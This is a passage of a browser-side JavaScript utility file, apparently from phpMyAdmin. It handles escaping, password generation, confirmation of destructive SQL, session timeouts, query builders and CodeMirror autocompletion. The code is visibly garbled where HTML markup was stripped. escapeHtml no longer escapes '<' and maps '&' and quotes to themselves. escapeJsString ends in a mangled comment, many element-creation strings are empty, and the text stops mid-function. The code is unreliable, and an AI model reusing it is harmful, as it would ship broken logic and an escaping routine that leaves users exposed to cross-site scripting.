0) { return; } var defaultOptions = { content: myContent, items: item, tooltipClass: 'tooltip', track: true, show: false, hide: false }; $elements.uiTooltip($.extend(true, defaultOptions, additionalOptions)); }; /** * HTML escaping * * @param {any} unsafe * @return {string | false} */ Functions.escapeHtml = function (unsafe) { if (typeof(unsafe) !== 'undefined') { return unsafe .toString() .replace(/&/g, '&') .replace(//g, '>') .replace(/"/g, '"') .replace(/'/g, '''); } else { return false; } }; /** * JavaScript escaping * * @param {any} unsafe * @return {string | false} */ Functions.escapeJsString = function (unsafe) { if (typeof(unsafe) !== 'undefined') { return unsafe .toString() .replace('\x00', '') .replace('\\', '\\\\') .replace('\'', '\\\'') .replace(''', '\\'') .replace('"', '\\"') .replace('"', '\\"') .replace('\n', '\n') .replace('\r', '\r') .replace(/<\/script/gi, '} $defaultType */ Functions.hideShowDefaultValue = function ($defaultType) { if ($defaultType.val() === 'USER_DEFINED') { $defaultType.siblings('.default_value').show().trigger('focus'); } else { $defaultType.siblings('.default_value').hide(); if ($defaultType.val() === 'NULL') { var $nullCheckbox = $defaultType.closest('tr').find('.allow_null'); $nullCheckbox.prop('checked', true); } } }; /** * Hides/shows the input field for column expression based on whether * VIRTUAL/PERSISTENT is selected * * @param $virtuality virtuality dropdown */ Functions.hideShowExpression = function ($virtuality) { if ($virtuality.val() === '') { $virtuality.siblings('.expression').hide(); } else { $virtuality.siblings('.expression').show(); } }; /** * Show notices for ENUM columns; add/hide the default value * */ Functions.verifyColumnsProperties = function () { $('select.column_type').each(function () { Functions.showNoticeForEnum($(this)); Functions.showWarningForIntTypes(); }); $('select.default_type').each(function () { Functions.hideShowDefaultValue($(this)); }); $('select.virtuality').each(function () { Functions.hideShowExpression($(this)); }); }; /** * Add a hidden field to the form to indicate that this will be an * Ajax request (only if this hidden field does not exist) * * @param {object} $form the form */ Functions.prepareForAjaxRequest = function ($form) { if (! $form.find('input:hidden').is('#ajax_request_hidden')) { $form.append(''); } }; Functions.checkPasswordStrength = function (value, meterObject, meterObjectLabel, username) { // List of words we don't want to appear in the password var customDict = [ 'phpmyadmin', 'mariadb', 'mysql', 'php', 'my', 'admin', ]; if (username !== null) { customDict.push(username); } zxcvbnts.core.zxcvbnOptions.setOptions({ dictionary: { userInputs: customDict } }); var zxcvbnObject = zxcvbnts.core.zxcvbn(value); var strength = zxcvbnObject.score; strength = parseInt(strength); meterObject.val(strength); switch (strength) { case 0: meterObjectLabel.html(Messages.strExtrWeak); break; case 1: meterObjectLabel.html(Messages.strVeryWeak); break; case 2: meterObjectLabel.html(Messages.strWeak); break; case 3: meterObjectLabel.html(Messages.strGood); break; case 4: meterObjectLabel.html(Messages.strStrong); } }; /** * Generate a new password and copy it to the password input areas * * @param {object} passwordForm the form that holds the password fields * * @return {boolean} always true */ Functions.suggestPassword = function (passwordForm) { // restrict the password to just letters and numbers to avoid problems: // "editors and viewers regard the password as multiple words and // things like double click no longer work" var pwchars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWYXZ@!_.*/()[]-'; var passwordlength = 16; // do we want that to be dynamic? no, keep it simple :) var passwd = passwordForm.generated_pw; // eslint-disable-next-line compat/compat var randomWords = new Int32Array(passwordlength); passwd.value = ''; var i; // First we're going to try to use a built-in CSPRNG // eslint-disable-next-line compat/compat if (window.crypto && window.crypto.getRandomValues) { // eslint-disable-next-line compat/compat window.crypto.getRandomValues(randomWords); } else if (window.msCrypto && window.msCrypto.getRandomValues) { // Because of course IE calls it msCrypto instead of being standard window.msCrypto.getRandomValues(randomWords); } else { // Fallback to Math.random for (i = 0; i < passwordlength; i++) { randomWords[i] = Math.floor(Math.random() * pwchars.length); } } for (i = 0; i < passwordlength; i++) { passwd.value += pwchars.charAt(Math.abs(randomWords[i]) % pwchars.length); } var $jQueryPasswordForm = $(passwordForm); passwordForm.elements.pma_pw.value = passwd.value; passwordForm.elements.pma_pw2.value = passwd.value; var meterObj = $jQueryPasswordForm.find('meter[name="pw_meter"]').first(); var meterObjLabel = $jQueryPasswordForm.find('span[name="pw_strength"]').first(); Functions.checkPasswordStrength(passwd.value, meterObj, meterObjLabel); return true; }; /** * for PhpMyAdmin\Display\ChangePassword and /user-password */ Functions.displayPasswordGenerateButton = function () { var generatePwdRow = $('').addClass('align-middle'); $('').html(Messages.strGeneratePassword).appendTo(generatePwdRow); var pwdCell = $('').appendTo(generatePwdRow); var pwdButton = $('') .attr({ type: 'button', id: 'button_generate_password', value: Messages.strGenerate }) .addClass('btn btn-secondary button') .on('click', function () { Functions.suggestPassword(this.form); }); var pwdTextbox = $('') .attr({ type: 'text', name: 'generated_pw', id: 'generated_pw' }); pwdCell.append(pwdButton).append(pwdTextbox); if (document.getElementById('button_generate_password') === null) { $('#tr_element_before_generate_password').parent().append(generatePwdRow); } var generatePwdDiv = $('
        ').addClass('item'); $('').attr({ for: 'button_generate_password' }) .html(Messages.strGeneratePassword + ':') .appendTo(generatePwdDiv); var optionsSpan = $('').addClass('options') .appendTo(generatePwdDiv); pwdButton.clone(true).appendTo(optionsSpan); pwdTextbox.clone(true).appendTo(generatePwdDiv); if (document.getElementById('button_generate_password') === null) { $('#div_element_before_generate_password').parent().append(generatePwdDiv); } }; /** * selects the content of a given object, f.e. a textarea * * @param {object} element element of which the content will be selected * @param {any | true} lock variable which holds the lock for this element or true, if no lock exists * @param {boolean} onlyOnce boolean if true this is only done once f.e. only on first focus */ Functions.selectContent = function (element, lock, onlyOnce) { if (onlyOnce && onlyOnceElements[element.name]) { return; } onlyOnceElements[element.name] = true; if (lock) { return; } element.select(); }; /** * Displays a confirmation box before submitting a "DROP/DELETE/ALTER" query. * This function is called while clicking links * * @param {object} theLink the link * @param {object} theSqlQuery the sql query to submit * * @return {boolean} whether to run the query or not */ Functions.confirmLink = function (theLink, theSqlQuery) { // Confirmation is not required in the configuration file // or browser is Opera (crappy js implementation) if (Messages.strDoYouReally === '' || typeof(window.opera) !== 'undefined') { return true; } var isConfirmed = confirm(Functions.sprintf(Messages.strDoYouReally, theSqlQuery)); if (isConfirmed) { if (typeof(theLink.href) !== 'undefined') { theLink.href += CommonParams.get('arg_separator') + 'is_js_confirmed=1'; } else if (typeof(theLink.form) !== 'undefined') { theLink.form.action += '?is_js_confirmed=1'; } } return isConfirmed; }; /** * Confirms a "DROP/DELETE/ALTER" query before * submitting it if required. * This function is called by the 'Functions.checkSqlQuery()' js function. * * @param {object} theForm1 the form * @param {string} sqlQuery1 the sql query string * * @return {boolean} whether to run the query or not * * @see Functions.checkSqlQuery() */ Functions.confirmQuery = function (theForm1, sqlQuery1) { // Confirmation is not required in the configuration file if (Messages.strDoYouReally === '') { return true; } // Confirms a "DROP/DELETE/ALTER/TRUNCATE" statement // // TODO: find a way (if possible) to use the parser-analyser // for this kind of verification // For now, I just added a ^ to check for the statement at // beginning of expression var doConfirmRegExp0 = new RegExp('^\\s*DROP\\s+(IF EXISTS\\s+)?(TABLE|PROCEDURE)\\s', 'i'); var doConfirmRegExp1 = new RegExp('^\\s*ALTER\\s+TABLE\\s+((`[^`]+`)|([A-Za-z0-9_$]+))\\s+DROP\\s', 'i'); var doConfirmRegExp2 = new RegExp('^\\s*DELETE\\s+FROM\\s', 'i'); var doConfirmRegExp3 = new RegExp('^\\s*TRUNCATE\\s', 'i'); var doConfirmRegExp4 = new RegExp('^(?=.*UPDATE\\b)^((?!WHERE).)*$', 'i'); if (doConfirmRegExp0.test(sqlQuery1) || doConfirmRegExp1.test(sqlQuery1) || doConfirmRegExp2.test(sqlQuery1) || doConfirmRegExp3.test(sqlQuery1) || doConfirmRegExp4.test(sqlQuery1)) { var message; if (sqlQuery1.length > 100) { message = sqlQuery1.substr(0, 100) + '\n ...'; } else { message = sqlQuery1; } var isConfirmed = confirm(Functions.sprintf(Messages.strDoYouReally, message)); // statement is confirmed -> update the // "is_js_confirmed" form field so the confirm test won't be // run on the server side and allows to submit the form if (isConfirmed) { theForm1.elements.is_js_confirmed.value = 1; return true; } else { // statement is rejected -> do not submit the form window.focus(); return false; } // end if (handle confirm box result) } // end if (display confirm box) return true; }; /** * Displays an error message if the user submitted the sql query form with no * sql query, else checks for "DROP/DELETE/ALTER" statements * * @param {object} theForm the form * * @return {boolean} always false * * @see Functions.confirmQuery() */ Functions.checkSqlQuery = function (theForm) { // get the textarea element containing the query var sqlQuery; if (codeMirrorEditor) { codeMirrorEditor.save(); sqlQuery = codeMirrorEditor.getValue(); } else { sqlQuery = theForm.elements.sql_query.value; } var spaceRegExp = new RegExp('\\s+'); if (typeof(theForm.elements.sql_file) !== 'undefined' && theForm.elements.sql_file.value.replace(spaceRegExp, '') !== '') { return true; } if (typeof(theForm.elements.id_bookmark) !== 'undefined' && (theForm.elements.id_bookmark.value !== null || theForm.elements.id_bookmark.value !== '') && theForm.elements.id_bookmark.selectedIndex !== 0) { return true; } var result = false; // Checks for "DROP/DELETE/ALTER" statements if (sqlQuery.replace(spaceRegExp, '') !== '') { result = Functions.confirmQuery(theForm, sqlQuery); } else { alert(Messages.strFormEmpty); } if (codeMirrorEditor) { codeMirrorEditor.focus(); } else if (codeMirrorInlineEditor) { codeMirrorInlineEditor.focus(); } return result; }; /** * Check if a form's element is empty. * An element containing only spaces is also considered empty * * @param {object} theForm the form * @param {string} theFieldName the name of the form field to put the focus on * * @return {boolean} whether the form field is empty or not */ Functions.emptyCheckTheField = function (theForm, theFieldName) { var theField = theForm.elements[theFieldName]; var spaceRegExp = new RegExp('\\s+'); return theField.value.replace(spaceRegExp, '') === ''; }; /** * Ensures a value submitted in a form is numeric and is in a range * * @param {object} theForm the form * @param {string} theFieldName the name of the form field to check * @param {any} message * @param {number} minimum the minimum authorized value * @param {number} maximum the maximum authorized value * * @return {boolean} whether a valid number has been submitted or not */ Functions.checkFormElementInRange = function (theForm, theFieldName, message, minimum, maximum) { var theField = theForm.elements[theFieldName]; var val = parseInt(theField.value, 10); var min = 0; var max = Number.MAX_VALUE; if (typeof(minimum) !== 'undefined') { min = minimum; } if (typeof(maximum) !== 'undefined' && maximum !== null) { max = maximum; } if (isNaN(val)) { theField.select(); alert(Messages.strEnterValidNumber); theField.focus(); return false; } else if (val < min || val > max) { theField.select(); alert(Functions.sprintf(message, val)); theField.focus(); return false; } else { theField.value = val; } return true; }; Functions.checkTableEditForm = function (theForm, fieldsCnt) { // TODO: avoid sending a message if user just wants to add a line // on the form but has not completed at least one field name var atLeastOneField = 0; var i; var elm; var elm2; var elm3; var val; var id; for (i = 0; i < fieldsCnt; i++) { id = '#field_' + i + '_2'; elm = $(id); val = elm.val(); if (val === 'VARCHAR' || val === 'CHAR' || val === 'BIT' || val === 'VARBINARY' || val === 'BINARY') { elm2 = $('#field_' + i + '_3'); val = parseInt(elm2.val(), 10); elm3 = $('#field_' + i + '_1'); if (isNaN(val) && elm3.val() !== '') { elm2.select(); alert(Messages.strEnterValidLength); elm2.focus(); return false; } } if (atLeastOneField === 0) { id = 'field_' + i + '_1'; if (!Functions.emptyCheckTheField(theForm, id)) { atLeastOneField = 1; } } } if (atLeastOneField === 0) { var theField = theForm.elements.field_0_1; alert(Messages.strFormEmpty); theField.focus(); return false; } // at least this section is under jQuery var $input = $('input.textfield[name=\'table\']'); if ($input.val() === '') { alert(Messages.strFormEmpty); $input.trigger('focus'); return false; } return true; }; /** * True if last click is to check a row. */ var lastClickChecked = false; /** * Zero-based index of last clicked row. * Used to handle the shift + click event in the code above. */ var lastClickedRow = -1; /** * Zero-based index of last shift clicked row. */ var lastShiftClickedRow = -1; var idleSecondsCounter = 0; var incInterval; var updateTimeout; AJAX.registerTeardown('functions.js', function () { clearTimeout(updateTimeout); clearInterval(incInterval); $(document).off('mousemove'); }); AJAX.registerOnload('functions.js', function () { document.onclick = function () { idleSecondsCounter = 0; }; $(document).on('mousemove',function () { idleSecondsCounter = 0; }); document.onkeypress = function () { idleSecondsCounter = 0; }; function guid () { function s4 () { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } function SetIdleTime () { idleSecondsCounter++; } function UpdateIdleTime () { var href = 'index.php?route=/'; var guid = 'default'; if (isStorageSupported('sessionStorage')) { guid = window.sessionStorage.guid; } var params = { 'ajax_request' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'guid': guid, 'access_time': idleSecondsCounter, 'check_timeout': 1 }; $.ajax({ type: 'POST', url: href, data: params, success: function (data) { if (data.success) { if (CommonParams.get('LoginCookieValidity') - idleSecondsCounter < 0) { /* There is other active window, let's reset counter */ idleSecondsCounter = 0; } var remaining = Math.min( /* Remaining login validity */ CommonParams.get('LoginCookieValidity') - idleSecondsCounter, /* Remaining time till session GC */ CommonParams.get('session_gc_maxlifetime') ); var interval = 1000; if (remaining > 5) { // max value for setInterval() function interval = Math.min((remaining - 1) * 1000, Math.pow(2, 31) - 1); } updateTimeout = window.setTimeout(UpdateIdleTime, interval); } else { // timeout occurred clearInterval(incInterval); if (isStorageSupported('sessionStorage')) { window.sessionStorage.clear(); } // append the login form on the page, disable all the forms which were not disabled already, close all the open jqueryui modal boxes if (!$('#modalOverlay').length) { $('fieldset').not(':disabled').attr('disabled', 'disabled').addClass('disabled_for_expiration'); $('body').append(data.error); $('.ui-dialog').each(function () { $('#' + $(this).attr('aria-describedby')).dialog('close'); }); $('#input_username').trigger('focus'); } else { CommonParams.set('token', data.new_token); $('input[name=token]').val(data.new_token); } idleSecondsCounter = 0; Functions.handleRedirectAndReload(data); } } }); } if (CommonParams.get('logged_in')) { incInterval = window.setInterval(SetIdleTime, 1000); var sessionTimeout = Math.min( CommonParams.get('LoginCookieValidity'), CommonParams.get('session_gc_maxlifetime') ); if (isStorageSupported('sessionStorage')) { window.sessionStorage.setItem('guid', guid()); } var interval = (sessionTimeout - 5) * 1000; if (interval > Math.pow(2, 31) - 1) { // max value for setInterval() function interval = Math.pow(2, 31) - 1; } updateTimeout = window.setTimeout(UpdateIdleTime, interval); } }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'input:checkbox.checkall'); }); AJAX.registerOnload('functions.js', function () { /** * Row marking in horizontal mode (use "on" so that it works also for * next pages reached via AJAX); a tr may have the class noclick to remove * this behavior. */ $(document).on('click', 'input:checkbox.checkall', function (e) { var $this = $(this); var $tr = $this.closest('tr'); var $table = $this.closest('table'); if (!e.shiftKey || lastClickedRow === -1) { // usual click var $checkbox = $tr.find(':checkbox.checkall'); var checked = $this.prop('checked'); $checkbox.prop('checked', checked).trigger('change'); if (checked) { $tr.addClass('marked table-active'); } else { $tr.removeClass('marked table-active'); } lastClickChecked = checked; // remember the last clicked row lastClickedRow = lastClickChecked ? $table.find('tbody tr:not(.noclick)').index($tr) : -1; lastShiftClickedRow = -1; } else { // handle the shift click Functions.clearSelection(); var start; var end; // clear last shift click result if (lastShiftClickedRow >= 0) { if (lastShiftClickedRow >= lastClickedRow) { start = lastClickedRow; end = lastShiftClickedRow; } else { start = lastShiftClickedRow; end = lastClickedRow; } $tr.parent().find('tr:not(.noclick)') .slice(start, end + 1) .removeClass('marked table-active') .find(':checkbox') .prop('checked', false) .trigger('change'); } // handle new shift click var currRow = $table.find('tbody tr:not(.noclick)').index($tr); if (currRow >= lastClickedRow) { start = lastClickedRow; end = currRow; } else { start = currRow; end = lastClickedRow; } $tr.parent().find('tr:not(.noclick)') .slice(start, end + 1) .addClass('marked table-active') .find(':checkbox') .prop('checked', true) .trigger('change'); // remember the last shift clicked row lastShiftClickedRow = currRow; } }); Functions.addDateTimePicker(); /** * Add attribute to text boxes for iOS devices (based on bugID: 3508912) */ if (navigator.userAgent.match(/(iphone|ipod|ipad)/i)) { $('input[type=text]').attr('autocapitalize', 'off').attr('autocorrect', 'off'); } }); /** * Checks/unchecks all options of a '); } } else { if ($simulateDml.length) { $simulateDml.remove(); } } }; /** * Create quick sql statements. * * @param {'clear'|'format'|'saved'|'selectall'|'select'|'insert'|'update'|'delete'} queryType * */ Functions.insertQuery = function (queryType) { var table; if (queryType === 'clear') { Functions.setQuery(''); return; } else if (queryType === 'format') { if (codeMirrorEditor) { $('#querymessage').html(Messages.strFormatting + ' '); var params = { 'ajax_request': true, 'sql': codeMirrorEditor.getValue(), 'server': CommonParams.get('server') }; $.ajax({ type: 'POST', url: 'index.php?route=/database/sql/format', data: params, success: function (data) { if (data.success) { codeMirrorEditor.setValue(data.sql); } $('#querymessage').html(''); }, error: function () { $('#querymessage').html(''); } }); } return; } else if (queryType === 'saved') { var db = $('input[name="db"]').val(); table = $('input[name="table"]').val(); var key = db; if (table !== undefined) { key += '.' + table; } key = 'autoSavedSql_' + key; if (isStorageSupported('localStorage') && typeof window.localStorage.getItem(key) === 'string') { Functions.setQuery(window.localStorage.getItem(key)); } else if (Cookies.get(key)) { Functions.setQuery(Cookies.get(key)); } else { Functions.ajaxShowMessage(Messages.strNoAutoSavedQuery); } return; } var query = ''; var myListBox = document.sqlform.dummy; table = document.sqlform.table.value; if (myListBox.options.length > 0) { sqlBoxLocked = true; var columnsList = ''; var valDis = ''; var editDis = ''; var NbSelect = 0; for (var i = 0; i < myListBox.options.length; i++) { NbSelect++; if (NbSelect > 1) { columnsList += ', '; valDis += ','; editDis += ','; } columnsList += myListBox.options[i].value; valDis += '\'[value-' + NbSelect + ']\''; editDis += myListBox.options[i].value + '=\'[value-' + NbSelect + ']\''; } if (queryType === 'selectall') { query = 'SELECT * FROM `' + table + '` WHERE 1'; } else if (queryType === 'select') { query = 'SELECT ' + columnsList + ' FROM `' + table + '` WHERE 1'; } else if (queryType === 'insert') { query = 'INSERT INTO `' + table + '`(' + columnsList + ') VALUES (' + valDis + ')'; } else if (queryType === 'update') { query = 'UPDATE `' + table + '` SET ' + editDis + ' WHERE 1'; } else if (queryType === 'delete') { query = 'DELETE FROM `' + table + '` WHERE 0'; } Functions.setQuery(query); sqlBoxLocked = false; } }; /** * Inserts multiple fields. * */ Functions.insertValueQuery = function () { var myQuery = document.sqlform.sql_query; var myListBox = document.sqlform.dummy; if (myListBox.options.length > 0) { sqlBoxLocked = true; var columnsList = ''; var NbSelect = 0; for (var i = 0; i < myListBox.options.length; i++) { if (myListBox.options[i].selected) { NbSelect++; if (NbSelect > 1) { columnsList += ', '; } columnsList += myListBox.options[i].value; } } /* CodeMirror support */ if (codeMirrorEditor) { codeMirrorEditor.replaceSelection(columnsList); codeMirrorEditor.focus(); // IE support } else if (document.selection) { myQuery.focus(); var sel = document.selection.createRange(); sel.text = columnsList; // MOZILLA/NETSCAPE support } else if (document.sqlform.sql_query.selectionStart || document.sqlform.sql_query.selectionStart === '0') { var startPos = document.sqlform.sql_query.selectionStart; var endPos = document.sqlform.sql_query.selectionEnd; var SqlString = document.sqlform.sql_query.value; myQuery.value = SqlString.substring(0, startPos) + columnsList + SqlString.substring(endPos, SqlString.length); myQuery.focus(); } else { myQuery.value += columnsList; } // eslint-disable-next-line no-unused-vars sqlBoxLocked = false; } }; /** * Updates the input fields for the parameters based on the query */ Functions.updateQueryParameters = function () { if ($('#parameterized').is(':checked')) { var query = codeMirrorEditor ? codeMirrorEditor.getValue() : $('#sqlquery').val(); var allParameters = query.match(/:[a-zA-Z0-9_]+/g); var parameters = []; // get unique parameters if (allParameters) { $.each(allParameters, function (i, parameter) { if ($.inArray(parameter, parameters) === -1) { parameters.push(parameter); } }); } else { $('#parametersDiv').text(Messages.strNoParam); return; } var $temp = $('
        '); $temp.append($('#parametersDiv').children()); $('#parametersDiv').empty(); $.each(parameters, function (i, parameter) { var paramName = parameter.substring(1); var $param = $temp.find('#paramSpan_' + paramName); if (! $param.length) { $param = $(''); $('').text(parameter).appendTo($param); $('').appendTo($param); } $('#parametersDiv').append($param); }); } else { $('#parametersDiv').empty(); } }; /** * Get checkbox for foreign key checks * * @return {string} */ Functions.getForeignKeyCheckboxLoader = function () { var html = ''; html += '
        '; html += '
        '; html += Functions.getImage('ajax_clock_small'); html += '
        '; html += '
        '; return html; }; Functions.loadForeignKeyCheckbox = function () { // Load default foreign key check value var params = { 'ajax_request': true, 'server': CommonParams.get('server'), }; $.get('index.php?route=/sql/get-default-fk-check-value', params, function (data) { var html = '' + '' + ''; $('.load-default-fk-check-value').replaceWith(html); }); }; Functions.getJsConfirmCommonParam = function (elem, parameters) { var $elem = $(elem); var params = parameters; var sep = CommonParams.get('arg_separator'); if (params) { // Strip possible leading ? if (params.substring(0,1) === '?') { params = params.substr(1); } params += sep; } else { params = ''; } params += 'is_js_confirmed=1' + sep + 'ajax_request=true' + sep + 'fk_checks=' + ($elem.find('#fk_checks').is(':checked') ? 1 : 0); return params; }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('click', 'a.inline_edit_sql'); $(document).off('click', 'input#sql_query_edit_save'); $(document).off('click', 'input#sql_query_edit_discard'); $('input.sqlbutton').off('click'); if (codeMirrorEditor) { codeMirrorEditor.off('blur'); } else { $(document).off('blur', '#sqlquery'); } $(document).off('change', '#parameterized'); $(document).off('click', 'input.sqlbutton'); $('#sqlquery').off('keydown'); $('#sql_query_edit').off('keydown'); if (codeMirrorInlineEditor) { // Copy the sql query to the text area to preserve it. $('#sql_query_edit').text(codeMirrorInlineEditor.getValue()); $(codeMirrorInlineEditor.getWrapperElement()).off('keydown'); codeMirrorInlineEditor.toTextArea(); codeMirrorInlineEditor = false; } if (codeMirrorEditor) { $(codeMirrorEditor.getWrapperElement()).off('keydown'); } }); /** * Jquery Coding for inline editing SQL_QUERY */ AJAX.registerOnload('functions.js', function () { // If we are coming back to the page by clicking forward button // of the browser, bind the code mirror to inline query editor. Functions.bindCodeMirrorToInlineEditor(); $(document).on('click', 'a.inline_edit_sql', function () { if ($('#sql_query_edit').length) { // An inline query editor is already open, // we don't want another copy of it return false; } var $form = $(this).prev('form'); var sqlQuery = $form.find('input[name=\'sql_query\']').val().trim(); var $innerSql = $(this).parent().prev().find('code.sql'); var newContent = '\n'; newContent += Functions.getForeignKeyCheckboxLoader(); newContent += '\n'; newContent += '\n'; var $editorArea = $('div#inline_editor'); if ($editorArea.length === 0) { $editorArea = $('
        '); $editorArea.insertBefore($innerSql); } $editorArea.html(newContent); Functions.loadForeignKeyCheckbox(); $innerSql.hide(); Functions.bindCodeMirrorToInlineEditor(); return false; }); $(document).on('click', 'input#sql_query_edit_save', function () { // hide already existing success message var sqlQuery; if (codeMirrorInlineEditor) { codeMirrorInlineEditor.save(); sqlQuery = codeMirrorInlineEditor.getValue(); } else { sqlQuery = $(this).parent().find('#sql_query_edit').val(); } var fkCheck = $(this).parent().find('#fk_checks').is(':checked'); var $form = $('a.inline_edit_sql').prev('form'); var $fakeForm = $('
        ', { action: 'index.php?route=/import', method: 'post' }) .append($form.find('input[name=server], input[name=db], input[name=table], input[name=token]').clone()) .append($('', { type: 'hidden', name: 'show_query', value: 1 })) .append($('', { type: 'hidden', name: 'is_js_confirmed', value: 0 })) .append($('', { type: 'hidden', name: 'sql_query', value: sqlQuery })) .append($('', { type: 'hidden', name: 'fk_checks', value: fkCheck ? 1 : 0 })); if (! Functions.checkSqlQuery($fakeForm[0])) { return false; } $('.alert-success').hide(); $fakeForm.appendTo($('body')).trigger('submit'); }); $(document).on('click', 'input#sql_query_edit_discard', function () { var $divEditor = $('div#inline_editor_outer'); $divEditor.siblings('code.sql').show(); $divEditor.remove(); }); $(document).on('click', 'input.sqlbutton', function (evt) { Functions.insertQuery(evt.target.id); Functions.handleSimulateQueryButton(); return false; }); $(document).on('change', '#parameterized', Functions.updateQueryParameters); var $inputUsername = $('#input_username'); if ($inputUsername) { if ($inputUsername.val() === '') { $inputUsername.trigger('focus'); } else { $('#input_password').trigger('focus'); } } }); /** * "inputRead" event handler for CodeMirror SQL query editors for autocompletion * @param instance */ Functions.codeMirrorAutoCompleteOnInputRead = function (instance) { if (!sqlAutoCompleteInProgress && (!instance.options.hintOptions.tables || !sqlAutoComplete)) { if (!sqlAutoComplete) { // Reset after teardown instance.options.hintOptions.tables = false; instance.options.hintOptions.defaultTable = ''; sqlAutoCompleteInProgress = true; var params = { 'ajax_request': true, 'server': CommonParams.get('server'), 'db': CommonParams.get('db'), 'no_debug': true }; var columnHintRender = function (elem, self, data) { $('
        ') .text(data.columnName) .appendTo(elem); $('
        ') .text(data.columnHint) .appendTo(elem); }; $.ajax({ type: 'POST', url: 'index.php?route=/database/sql/autocomplete', data: params, success: function (data) { if (data.success) { var tables = JSON.parse(data.tables); sqlAutoCompleteDefaultTable = CommonParams.get('table'); sqlAutoComplete = []; for (var table in tables) { if (tables.hasOwnProperty(table)) { var columns = tables[table]; table = { text: table, columns: [] }; for (var column in columns) { if (columns.hasOwnProperty(column)) { var displayText = columns[column].Type; if (columns[column].Key === 'PRI') { displayText += ' | Primary'; } else if (columns[column].Key === 'UNI') { displayText += ' | Unique'; } table.columns.push({ text: column, displayText: column + ' | ' + displayText, columnName: column, columnHint: displayText, render: columnHintRender }); } } } sqlAutoComplete.push(table); } instance.options.hintOptions.tables = sqlAutoComplete; instance.options.hintOptions.defaultTable = sqlAutoCompleteDefaultTable; } }, complete: function () { sqlAutoCompleteInProgress = false; } }); } else { instance.options.hintOptions.tables = sqlAutoComplete; instance.options.hintOptions.defaultTable = sqlAutoCompleteDefaultTable; } } if (instance.state.completionActive) { return; } var cur = instance.getCursor(); var token = instance.getTokenAt(cur); var string = ''; if (token.string.match(/^[.`\w@]\w*$/)) { string = token.string; } if (string.length > 0) { CodeMirror.commands.autocomplete(instance); } }; /** * Remove autocomplete information before tearing down a page */ AJAX.registerTeardown('functions.js', function () { sqlAutoComplete = false; sqlAutoCompleteDefaultTable = ''; }); /** * Binds the CodeMirror to the text area used to inline edit a query. */ Functions.bindCodeMirrorToInlineEditor = function () { var $inlineEditor = $('#sql_query_edit'); if ($inlineEditor.length > 0) { if (typeof CodeMirror !== 'undefined') { var height = $inlineEditor.css('height'); codeMirrorInlineEditor = Functions.getSqlEditor($inlineEditor); codeMirrorInlineEditor.getWrapperElement().style.height = height; codeMirrorInlineEditor.refresh(); codeMirrorInlineEditor.focus(); $(codeMirrorInlineEditor.getWrapperElement()) .on('keydown', Functions.catchKeypressesFromSqlInlineEdit); } else { $inlineEditor .trigger('focus') .on('keydown', Functions.catchKeypressesFromSqlInlineEdit); } } }; Functions.catchKeypressesFromSqlInlineEdit = function (event) { // ctrl-enter is 10 in chrome and ie, but 13 in ff if ((event.ctrlKey || event.metaKey) && (event.keyCode === 13 || event.keyCode === 10)) { $('#sql_query_edit_save').trigger('click'); } }; /** * Adds doc link to single highlighted SQL element * * @param $elm * @param params */ Functions.documentationAdd = function ($elm, params) { if (typeof mysqlDocTemplate === 'undefined') { return; } var url = Functions.sprintf( decodeURIComponent(mysqlDocTemplate), params[0] ); if (params.length > 1) { // The # needs to be escaped to be part of the destination URL url += encodeURIComponent('#') + params[1]; } var content = $elm.text(); $elm.text(''); $elm.append('' + content + ''); }; /** * Generates doc links for keywords inside highlighted SQL * * @param idx * @param elm */ Functions.documentationKeyword = function (idx, elm) { var $elm = $(elm); /* Skip already processed ones */ if ($elm.find('a').length > 0) { return; } var keyword = $elm.text().toUpperCase(); var $next = $elm.next('.cm-keyword'); if ($next) { var nextKeyword = $next.text().toUpperCase(); var full = keyword + ' ' + nextKeyword; var $next2 = $next.next('.cm-keyword'); if ($next2) { var next2Keyword = $next2.text().toUpperCase(); var full2 = full + ' ' + next2Keyword; if (full2 in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[full2]); Functions.documentationAdd($next, mysqlDocKeyword[full2]); Functions.documentationAdd($next2, mysqlDocKeyword[full2]); return; } } if (full in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[full]); Functions.documentationAdd($next, mysqlDocKeyword[full]); return; } } if (keyword in mysqlDocKeyword) { Functions.documentationAdd($elm, mysqlDocKeyword[keyword]); } }; /** * Generates doc links for builtins inside highlighted SQL * * @param idx * @param elm */ Functions.documentationBuiltin = function (idx, elm) { var $elm = $(elm); var builtin = $elm.text().toUpperCase(); if (builtin in mysqlDocBuiltin) { Functions.documentationAdd($elm, mysqlDocBuiltin[builtin]); } }; /** * Higlights SQL using CodeMirror. * * @param $base */ Functions.highlightSql = function ($base) { var $elm = $base.find('code.sql'); $elm.each(function () { var $sql = $(this); var $pre = $sql.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
        '); $sql.append($highlight); if (typeof CodeMirror !== 'undefined') { CodeMirror.runMode($sql.text(), 'text/x-mysql', $highlight[0]); $pre.hide(); $highlight.find('.cm-keyword').each(Functions.documentationKeyword); $highlight.find('.cm-builtin').each(Functions.documentationBuiltin); } } }); }; /** * Updates an element containing code. * * @param {JQuery} $base base element which contains the raw and the * highlighted code. * * @param {string} htmlValue code in HTML format, displayed if code cannot be * highlighted * * @param {string} rawValue raw code, used as a parameter for highlighter * * @return {boolean} whether content was updated or not */ Functions.updateCode = function ($base, htmlValue, rawValue) { var $code = $base.find('code'); if ($code.length === 0) { return false; } // Determines the type of the content and appropriate CodeMirror mode. var type = ''; var mode = ''; if ($code.hasClass('json')) { type = 'json'; mode = 'application/json'; } else if ($code.hasClass('sql')) { type = 'sql'; mode = 'text/x-mysql'; } else if ($code.hasClass('xml')) { type = 'xml'; mode = 'application/xml'; } else { return false; } // Element used to display unhighlighted code. var $notHighlighted = $('
        ' + htmlValue + '
        '); // Tries to highlight code using CodeMirror. if (typeof CodeMirror !== 'undefined') { var $highlighted = $('
